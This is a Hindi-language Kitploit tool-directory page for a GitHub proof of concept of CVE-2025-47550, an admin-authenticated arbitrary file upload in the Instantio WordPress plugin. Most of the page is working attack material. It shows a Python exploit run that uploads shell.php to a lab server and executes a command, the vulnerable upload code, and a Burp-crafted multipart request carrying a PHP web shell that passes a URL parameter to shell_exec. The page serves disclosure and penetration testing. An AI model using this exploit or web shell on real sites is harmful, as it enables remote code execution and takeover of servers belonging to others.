Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/d0n601/cve-2025-47550
पेलोड जनरेशनभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubd0n601/cve-2025-47550

CVE-2025-47550

Instantio - Wordpress प्लगइन <= 3.3.16 - प्रमाणित (व्यवस्थापक+) ins_options_save के माध्यम से मनमाना फ़ाइल अपलोड

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Instantio - Wordpress प्लगिन <= 3.3.16 - ins_options_save के माध्यम से प्रमाणित (Admin+) मनमाना फ़ाइल अपलोड

Instantio प्लगिन अपने विकल्प सहेजने की कार्यक्षमता में फ़ाइल प्रकारों को सैनिटाइज़ नहीं करता है, जिससे व्यवस्थापक या उच्च स्तर के उपयोगकर्ता मनमानी फ़ाइलें अपलोड कर सकते हैं और संभावित रूप से सर्वर पर कोड निष्पादन प्राप्त कर सकते हैं।

TL;DR एक्सप्लॉइट्स

  • एक POC CVE-2025-47550.py प्रदान किया गया है जो एक व्यवस्थापक द्वारा shell.php नामक वेब शेल अपलोड करने को प्रदर्शित करता है।
root@kitploit:~
% python3 CVE-2025-47550.py https://lab1.hacker admin PASSWORD
Logging into: https://lab1.hacker/wp-admin
Extracting nonce values...
Uploading web shell: shell.php
{"status":"success","message":"Options saved successfully!"}
Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php

Executing test command: ip addr
<pre>1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff
    altname enp0s3
    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0
       valid_lft 33750sec preferred_lft 33750sec
    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute 
       valid_lft 86119sec preferred_lft 14119sec
    inet6 fe80::a00:27ff:fe5b:342f/64 scope link 
       valid_lft forever preferred_lft forever
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff
    altname enp0s8
    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
</pre>

विवरण

ins_options_save कार्यक्षमता /wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php में फ़ाइल अपलोड की प्रक्रिया करती है, बिना उचित फ़ाइल प्रकार सत्यापन लागू किए।

save_options() फ़ंक्शन की पंक्तियाँ 965-972 HTTP अनुरोध में $_FILES की जाँच करती हैं और केवल MIME प्रकार को एक सामान्य application/octet-stream के विरुद्ध मान्य करती हैं। फिर यह फ़ाइल को वेब-सुलभ निर्देशिका /wp-content/uploads/itinerary-fonts में संग्रहीत करती है।

root@kitploit:~
$tf_fonts_extantions = array( 'application/octet-stream' );
for ( $i = 0; $i < count( $_FILES['file']['name'] ); $i++ ) {
    if ( in_array( $_FILES['file']['type'][ $i ], $tf_fonts_extantions ) ) {
        $tf_font_filename = $_FILES['file']['name'][ $i ];
        move_uploaded_file( $_FILES['file']['tmp_name'][ $i ], $tf_itinerary_fonts . '/' . $tf_font_filename );
    }
}

मैन्युअल पुनरुत्पादन

  1. एडमिन पैनल में लॉगिन करें और Instantio -> Settings पर जाएँ।

  2. Burp Suite या समान टूल शुरू करें और ट्रैफ़िक को इंटरसेप्ट करना शुरू करें।

  3. निचले दाएं कोने में Save बटन पर क्लिक करें। test1

  4. Burp में POST अनुरोध को इंटरसेप्ट करें, और अपना स्वयं का फ़ाइल डेटा जोड़ें (सुनिश्चित करें कि आप सही फ़ॉर्म बाउंड्री का उपयोग करते हैं)।

root@kitploit:~
------WebKitFormBoundarydAJeoqdwR5qxfDb1
Content-Disposition: form-data; name="file[]"; filename="shell.php"
Content-Type: application/octet-stream

<?php
// Silence is golden
if (!empty($_GET['cmd'])) {
    echo "<pre>".shell_exec($_GET["cmd"])."</pre>";
}
------WebKitFormBoundarydAJeoqdwR5qxfDb1--

test2

  1. अनुरोध को फॉरवर्ड करें और सत्यापित करें कि प्रतिक्रिया सफलता दर्शाती है:
root@kitploit:~
{"status":"success","message":"Options saved successfully!"}
  1. प्रूफ ऑफ कॉन्सेप्ट को निष्पादित करने के लिए https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php पर जाएँ। test3
टूल डाउनलोड करें